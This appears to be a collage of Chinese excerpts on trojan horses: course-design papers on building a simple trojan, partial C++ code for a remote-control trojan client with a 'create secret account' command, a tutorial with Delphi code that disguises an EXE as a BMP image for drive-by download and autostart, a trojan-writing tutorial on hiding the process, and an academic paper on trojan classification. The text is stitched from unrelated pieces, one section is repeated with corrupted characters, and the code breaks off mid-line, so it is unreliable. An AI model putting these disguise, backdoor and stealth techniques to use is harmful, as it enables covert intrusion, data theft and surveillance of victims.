(1)木马的传统连接技术；C/S木马原理如图1-1所示。第1代和第2代木马都采用的是C/S连接方式，这都属于客户端主动连接方式。服务器端的远程主机开放监听端目等待外部的连接，当入侵者需要与远程主机连接时，便主动发出连接请求，从而建立连接。 (2)木马的反弹端口技术；随着防火墙技术的发展，它可以有效拦截采用传统连接方式。但防火墙对内部发起的连接请求则认为是正常连接，第3代和第4代“反弹式”木马就是利用这个缺点，其服务器端程序主动发起对外连接请求，再通过某些方式连接到木马的客户端，如图1-2和图1-3所示。

一个简单木马程序的设计与开发.

一个简单木马程序的设计与开发 1 前言 1.1 课题背景随着互联网技术的迅猛发展，网络给人们带来了很多便利，但是也带来了许多麻烦。各种网页木马，后门，下载者，病毒，利用各种系统漏洞，网站漏洞，程序漏洞，邮箱漏洞，U 盘及社会工程学等在网上横行，给广大用户带来了重要资料丢失，机密文件提前泄密，邮箱帐号，游戏帐号，各类照片被人恶意修改后传播到网上，系统被格盘，系统被监视，摄像头被人暗中开启并录像传播等非常严重的后果。使得许多朋友，闻木马,就变色。为了使更多朋友了解木马病毒，通过编写一个简单的木马,来分析它及其的变形，提出相应的防范措施。 1. 2 国内外研究现状从有关的资料看，国内外的windows系统下的木马，功能已经从简单发展到全面，大致包括以下功能：上传下载文件，删除文件，复制文件，粘贴文件，文件编辑，文件重命名，文件剪切，新建文件，修改文件，修改文件的创建时间等；获得目标主机名，IP地址，以及目标主机地理位置，系统打了多少补丁，安装了些什么软件，MAC地址，安装了几个处理器，内存多大，网速多快，系统启动时间，系统目录，系统版本等；取得目标主机的CMD权限，添加系统管理员，对目标主机进行注册表操作，开启目标主机3389端口，软件自动更新，使目标主机成为HTTP，SOCK5代理服务器，对目标主机的服务进行操作，对目标主机的开机自启动项进行操作，目标主机主动向控制端发起连接，也可主动向目标主机发起连接等，暗中打开用户摄像头，监控，录制用户隐私生活，对用户进行屏幕监控等。木马的隐蔽性更强了，从原来的单纯隐藏在某个目录中，发展到了替换系统文件，修改文件修改时间等。木马从EXE文件靠注册表启动，发展到了DLL文件远程线程插入，替换修改系统DLL文件，靠驱动文件等高级水准，更有写入系统核心中的。木马深藏在系统中，甚至在许多杀毒软件启动前启动，或者是绑定到杀毒软件上，或者修改杀毒软件规则，使得杀毒软件误以为它是合法文件，或者是将木马DLL文件插入到WINLOGON.EXE 中，以至于在安全模式下也无法删除。有的病毒会在系统部分盘中，创建Autorun.inf文件，然后把病毒也复制到该目录下隐藏着，使得用户双击该盘时，运行该病毒，对此，某些用户格式化了系统盘再重装系统，也无法删除它。更有木马，病毒会感染某些盘中的EXE文件，COM文件，使得用户重装系统后，运行该文件后又运行病毒。木马中招的方式包括：访问不安全网站，访问某些被入侵后的安全网站，在不同机子上使用U盘，通过U盘传播的木马病毒也越来越多，对系统或是一般程序进行溢出后，上传木马，对网络中的主机进行漏洞扫描，然后利用相关漏洞自动传播，利用邮箱漏洞配合网页木马，使用户中招，直接通过QQ等聊天软件传给用户，并叫其运行，在QQ等聊天软件中发布网址给好友，好友不知情下点击中招，通过物理接触主机以及远程破解主机密码等手段中招。木门在被杀毒软件查杀后，一般马上就会有变种或是升级版本流传，通过对木马进行加壳，修改木马特征码，修改程序等手段使木马免杀。木马还包括ASP和PHP以及ASPX，JSP木马，它们能过网页的形式存在，也可以有很多功能，如常见的ASP木马就有如下功能：登录验证，上传下载文件，删除，复制，移动，编辑文件，新建文件，新建目录，搜索文件，更改文件名，查看文件修改时间，serv_u漏洞提权，查看服务器信息，查看环境变量，注册表操作，探查网站是否支持PHP，查找网站上已经存在的木马，包括已经加密后的，对服务器上所有盘的文件操作，对数据库进行操作，对网站

一个简单木马程序

程序清单： Client.cpp // 客户端代码 Server.cpp // 服务器端代码程序代码及说明： //Client.cpp文件 #include //包含标准输入输出库 #include //包含windows套接字函数 #include using namespace std; #pragma comment(lib,"Ws2_32") //将注释wsock32放置到lib文件中，否则需要加载 #define MAXSIZE 2048 //每次可以接收的最大字节 #define SEND_PORT 2000 //与木马程序连接的端口为2000 struct sockaddr_in ClientAddr; //对方的地址端口信息 SOCKET sock; //定义套接字变量,为全局变量 DWORD startSock() //建立套接字功能模块 { WSADATA WSAData; //将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) { //MAKEWORD(2,2)预定义Winsock版本，初始化套接字 printf("sock init fail"); return(-1); } sock = socket(AF_INET, SOCK_STREAM, 0); //连接对方 return 1; } int main(int argc, char *argv[]) { u_int numbyte; char buf[MAXSIZE]; //传送数据的缓冲区 char ip[100]; cout<<"请输入要连接的IP地址"<>ip; startSock();//调用建立套接字功能函数 ClientAddr.sin_family = AF_INET; //协议类型是INET ClientAddr.sin_port = htons(SEND_PORT); //连接对方2000端口ClientAddr.sin_addr.s_addr = inet_addr(ip); //连接对方的IP地址 connect(sock, (struct sockaddr *)&ClientAddr,sizeof(struct sockaddr)); printf("------------远程控制木马程序菜单-------------\r\n"); printf("add --建立Windows系统的秘密帐号\r\n"); printf("shutdown --关闭Windows计算机\r\n"); printf("reset --重新启动Windows计算机\r\n"); printf("close --关闭光驱\r\n"); printf("open --打开光驱\r\n");

木马程序设计

木马程序设计摘要：在计算机日益普及的时代，信息在网络上的传播已经凸显出不可或缺的重要地位。在感受网络带来的信息交流与资源共享的益处的同时，各种病毒也在危害着计算机用户，木马程序是其中最为猖獗的一类。本文通过利用C#编程等方法分析与设计一个简单的木马程序，让人们更进一步了解木马的功能、原理、植入方法以及如何防护与处理木马。关键词：木马技术；远程控制； .NET类;

1 引言 1.1 课题背景随着信息技术的飞速发展，计算机和计算机通信网络己经成为当今社会不可缺少的基本组成部分，依托互联网技术的全球信息化浪潮冲击和深刻影响着人类政治、经济、社会的方方面面，对经济发展、国家安全、国民教育和现代管理都起着重要的作用。随着网络技术和信息化应用范围的不断扩大，网络信息应用领域开始从传统的、小型业务系统逐渐向大型、关键业务系统扩展，如政府部门业务系统、金融业务系统、教育科研系统等等。但随着网络应用的增加，以计算机信息系统为犯罪对象和犯罪工具的各类新型犯罪活动不断出现。网络安全风险也不断暴露出来，网络信息安全问题已经成为制约各类网络信息系统实用化和进一步发展的不可忽视因素，对一些关系国民经济的重要信息系统和关系国家安全的网络信息系统，己经到了非解决不可的地步。其中，利用木马技术入侵、控制和破坏网络信息系统，是造成网络信息安全问题的典型表现之一。木马是一种基于C/S模式的远程控制技术，能在被监控对象毫无察觉的情况下渗透到对方系统并隐藏在合法程序中的计算机程序。一旦植入和触发成功，控制端与被控制端之间就能遵照TCP/IP协议进行数据通信，从而使得控制者获取被控制者的相关信息。它们通常以欺骗为手段，在用户不知情的情况下进行安装，并暗中把所获的机密信息发送给第三者，威胁用户电脑中的数据安全并侵犯个人隐私，严重影响了人们正常工作和生活。2008年1月至10月，瑞星公司共截获新病毒样本930余万个，其中绝大部分（776万）是盗号木马、后门程序，专门窃取网游账号、网银账号等虚拟财产，具有极其明显的经济利益特征。时隔两年，不断有新的木马病毒被发现，社会上己经掀起一个木马研究的热潮。正是在这样的背景下，我的课题主要设计一个简单的木马程序，进一步地了解木马程序的结构和实现原理，加深对相关知识的了解，进而提高对木马的防范水平。 1.2 课程设计目的本课程设计的目的主要有以下几个：

制作图片木马教程(如何制作图片木马)

何谓BMP网页木马？它和过去早就用臭了的MIME头漏洞的木马不同，MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件，放到网页上利用IE和OE的编码漏洞实现自动下载和执行。然而BMP木马就不同，它把一个EXE文件伪装成一个BMP图片文件，欺骗IE自动下载，再利用网页中的JAVASCRIPT脚本查找客户端的Internet临时文件夹，找到下载后的BMP文件,把它拷贝到TEMP目录。再编写一个脚本把找到的BMP 文件用DEBUG还原成EXE，并把它放到注册表启动项中，在下一次开机时执行.但是这种技术只能在9X下发挥作用，对于2K、XP来说是无能为力了。看上去好象很复杂,下面我们一步一步来: 1) EXE变BMP的方法大家自己去查查BMP文件资料就会知道，BMP文件的文件头有54个字节，简单来说里面包含了BMP文件的长宽、位数、文件大小、数据区长度。我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦)，这样就可以欺骗IE下载该BMP文件，开始我们用JPG 文件做过试验，发现如果文件头不正确的话，是不会下载的，转换代码如下：

FindFirstFile(Pchar(ParamStr(1)),fd); fs:=fd.nFileSizeLow; col := 4; while true do begin if (fs mod 12)=0 then begin len:=fs; end else len:=fs+12-(fs mod 12); row := len div col div 3; if row>col then begin col:=col+4; end else Break; end; FillChar(buffer,256,0); {一下为BMP文件头数据} Buffer[0]:='B';Buffer[1]:='M'; PDWORD(@buffer[18])^:=col; PDWORD(@buffer[22])^:=row; PDWORD(@buffer[34])^:=len; PDWORD(@buffer[2])^:=len+54; PDWORD(@buffer[10])^:=54; PDWORD(@buffer[14])^:=40; PWORD(@buffer[26])^:=1;

怎样编写一个简单木马

怎样编写一个简单木马，新手可以看看特洛依木马这个名词大家应该不陌生，自从98年“死牛崇拜”黑客小组公布Back Orifice以来，木马犹如平地上的惊雷，使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒，终于认识到的网络也有它邪恶的一面，一时间人心惶惶。我那时在《电脑报》上看到一篇文章，大意是一个菜鸟被人用BO控制了，吓得整天吃不下饭、睡不着觉、上不了网，到处求救！要知道，木马（Trojan）的历史是很悠久的：早在A T&T Unix和BSD Unix十分盛行的年代，木马是由一些玩程式（主要是C）水平很高的年轻人（主要是老美）用C或Shell语言编写的，基本是用来窃取登陆主机的口令，以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件，植入木马；当你登陆时将你敲入的口令字符存入一个文件，用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的，对网络可以说很陌生。直到Win9x横空出世，尤其是WinNt的普及，大大推动了网络事业的发展的时候，BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马（甚至在Win9x的“关闭程序”对话框可以看到进程）给了当时中国人极大的震撼，它在中国的网络安全方面可以说是一个划时代的软件。自己编写木马，听起来很Cool是不是？！木马一定是由两部分组成——服务器程序（Server）和客户端程序（Client），服务器负责打开攻击的道路，就像一个内奸特务；客户端负责攻击目标，两者需要一定的网络协议来进行通讯（一般是TCP/IP协议）。为了让大家更好的了解木马攻击技术，破除木马的神秘感，我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马，使大家能更好地防范和查杀各种已知和未知的木马。首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi，这里我们选用C++Builder（以下简称BCB）；VC虽然好，但GUI设计太复杂，为了更好地突出我的例子，集中注意力在木马的基本原理上，我们选用可视化的BCB；Delphi也不错，但缺陷是不能继承已有的资源（如“死牛崇拜”黑客小组公布的BO2000源代码，是VC编写的，网上俯拾皆是）；VB嘛，谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗？启动C++Builder 5.0企业版，新建一个工程，添加三个VCL控件：一个是Internet页中的Server Socket，另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序，可以对外服务（对攻击者敞开大门）。Socket最初是在Unix 上出现的，后来微软将它引入了Windows中（包括Win98和WinNt）；后两个控件的作用是用来使程序具有FTP（File Transfer Protocol文件传输协议）和SMTP（Simple Mail Transfer Protocol简单邮件传输协议）功能，大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

木马编写培训教程

木马的编写实例特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Bａck Orｉfｉce以来，木马犹如平地上的惊雷, 使在Ｄos——Ｗindowｓ时代中长大的中国网民从五彩缤纷的网络之梦中惊醒，终于认识到的网络也有它邪恶的一面,一时间人心惶惶。 ?我那时在《电脑报》上看到一篇文章，大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救！要知道,木马(Ｔrojａn）的历史是很悠久的：早在AＴ&T Uｎｉx和BSＤＵnix 十分盛行的年代，木马是由一些玩程式（主要是C)水平很高的年轻人（主要是老美）用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.pr ｏfｉｌｅ文件，植入木马；当你登陆时将你敲入的口令字符存入一个文件,用Emａｉl的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Doｓ的熏陶下长大的，对网络可以说很陌生。直到Win９x横空出世，尤其是WinNt的普及,大大推动了网络事业的发展的时候，BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马（甚至在Wiｎ9x的“关闭程序”对话框可以看到进程）给了当时中国人极大的震撼，它在中国的网络安全方面可以说是一个划时代的软件。自己编写木马，听起来很Cooｌ是不是？！木马一定是由两部分组成——服务器程序（Serｖｅr)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务；客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是ＴCP/ＩP协议）。为了让大家更好的了解木马攻击技术,破除木马的神秘感，我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。? 首先是编程工具的选择。目前流行的开发工具有Ｃ＋+Builｄer、VC、VＢ和Dｅlpｈi,这里我们选用C ＋+Ｂuildｅr（以下简称ＢCＢ);VＣ虽然好，但GUI设计太复杂，为了更好地突出我的例子，集中注意力在木马的基本原理上,我们选用可视化的BCB；Dｅlphi也不错，但缺陷是不能继承已有的资源（如“死牛崇拜”黑客小组公布的BO２00０源代码,是ＶＣ编写的,网上俯拾皆是)；VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvｍ６0．ｄll吗? 启动C＋＋Buｉｌdeｒ5.0企业版，新建一个工程,添加三个VCＬ控件：一个是Iｎｔeｒｎet页中的Ser ｖer Socket,另两个是Fastnet页中的NM。Seｒｖｅr Soｃket的功能是用来使本程序变成一个服务器程序，可以对外服务(对攻击者敞开大门）。Ｓｏcｋet最初是在Unix上出现的，后来微软将它引入了Ｗindoｗs中(包括Wiｎ９8和WiｎNt)；后两个控件的作用是用来使程序具有TranｓfeｒPｒoｔocｏl文件传输协议）和SMTP(Sｉmpｌe Maｉl Transfｅr Protoｃoｌ简单邮件传输协议）功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。 ?Foｒm窗体是可视的,这当然是不可思议的。不光占去了大量的空间（光一个Fｏrm就有3００Ｋ之大),而且使软件可见，根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form，就像Delp ｈｉ用过程实现的小程序一般只有１7K左右那样。??我们首先应该让我们的程序能够隐身。双击Ｆorm,首先在ＦｏrmCrｅatｅ事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Seｒvｉce的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此，只要将我们的程序在进程数据库中用ＲｅｇisterServicｅＰrocesｓ(）函数注册成服务进程（Sｅｒvice Proceｓｓ）就可以了。不过该函数的声明在Borlaｎd预先打包的头文件中没有,那么我们只好自己来声明这个位于KEＲNEL3２.DＬL中的鸟函数了。?首先判断目标机的操作系统是Win９ｘ还是ＷｉnNt：? { ＤＷORD dwVｅｒsion ＝ＧetVｅrsｉon(）;?// 得到操作系统的版本号 if (ｄwVeｒｓｉon >=0ｘ8000000０)?// 操作系统是Win9x，不是WinNt { typｅdef ＤWORD （CALLBACK＊ＬＰRＥGISTEＲSEＲVICEPＲＯCＥSＳ)（ＤWORD,DWＯRD);

木马程序与系统安全

木马程序与系统安全Ξ 汤　沛,冯炳灿 (新乡市教育学院计算机系,河南新乡453000) 摘要:主要探讨了计算机学科中特洛伊木马程序的基本定义、形式分类及对系统可能造成的危害,同时分析了在多用户系统平台中检测木马程序的方法和所使用的技术,最后预测了将来的木马程序的发展趋势。关键词:特洛伊木马(T rojan H orse);RFC;目标一致性;恶意代码;数字签名中图分类号:TP31 文献标识码:A 文章编号:100822093(2005)0120045203 1　特洛伊木马的定义计算机学科中“木马”的名词源引“特洛伊木马(T rojan H orse)”,来自一个关于古希腊士兵藏木马攻陷敌城的典故,该名词现已成为病毒与黑客的代称。在计算机系统和网络系统中,“特洛伊木马”指系统中被植入的、人为设计的程序,目的包括通过网络远程控制其他用户的计算机系统,窃取信息资料,并可恶意致使其计算机系统瘫痪。 RFC1244(Request for C omments:1244)中是这样描述木马的:“木马程序是一种程序,它能提供一些有用的,或是仅仅令人感兴趣的功能。但是它还有用户所不知道的其他功能,例如在你不了解的情况下拷贝文件或窃取你的密码。”注:RFC-意即“请求批注”,包含了关于Internet的几乎所有重要的文字资料。在网络方面,RFC是最重要也是最经常需要用到的资料之一,享有网络知识圣经之美誉。通常,当某家机构或团体开发出了一套标准或提出对某种标准的设想,想要征询外界的意见时,就会在Internet上发放一份RFC,对这一问题感兴趣的人可以阅读该RFC并提出自己的意见;绝大部分网络标准的指定都是以RFC 的形式开始,经过大量的论证和修改过程,最终由主要的标准化组织所指定。这个定义虽然不十分完善,但是可以澄清一些模糊概念,首先木马程序并不一定实现某种对用户来说有意义或有帮助的功能,但却会实现一些隐藏的、危险的功能;其次木马所实现的主要功能并不为受害者所知,只有程序编制者最清楚;第三,这个定义暗示“有效负载”是恶意的。目前,大多数安全专家统一认可的定义是:“特洛伊木马是一段能实现有用的或必需的功能的程序,但是同时还完成一些不为人知的功能。” 现在有观点认为,特洛伊木马同病毒和蠕虫是不同的概念,因为特洛伊木马一般不复制自身。但仅以此来区分也是不完善的,因为这样虽然可以将自我复制代码(病毒和蠕虫)与静态代码(如特洛伊木马)区分开来,但又涉及到如何定义恶意的问题(用到恶意代码)。因此也有部分专家把病毒和蠕虫看作是特洛伊木马的特例,这个观点还是有一定道理的。实际上,不论恶意代码或程序能否自我复制,人们都习惯将它们称为病毒。几乎所有的杀毒软件,在检测程序时发现特洛伊木马、恶意病毒和蠕虫等都会报警。通常意义上,即使不考虑特洛伊木马定义中所指的欺骗含义,特洛伊木马的恶意企图也涉及了许多方面,根据传统的数据安全模型的三种分类,特洛伊木马的企图也可对应分为三种:(1)试图访问未授权资源;(2)试图阻止访问;(3)试图更改或破坏数据和系统。 2　特洛伊木马的分类因为对于恶意的企图没有统一的定义,所以目前理论上对特洛伊木马的分类也不是很严密。对特洛伊木马采用形式上的分类反映了对计算机理解的不同。多年以来,大型机和小型机的用户根据窃取密码、安全漏洞来分,微型机用户根据格式化硬盘和破坏系统来分,实际上,它们之间有交叉。主要的类型有: 1)破坏型特洛伊木马:主要目的是破坏系统,使某些软件或硬件无法正常工作,或者彻底破坏系统。这种木马对全社会的影响比对当事人的影响要小,因为它们无法像病毒和蠕虫一样进行自我复制,因而感染第三方的可能性很小。它们通常采用实时方式,一 54 第13卷第1期　2005年01月河南机电高等专科学校学报 Journal of Henan Mechanical and Electrical Engineering C ollege V ol.13№.1 Jan.2005 Ξ收稿日期:2004211205 作者简介:汤沛(19752),男,河南新乡人,本科,研究方向:系统安全,网络应用。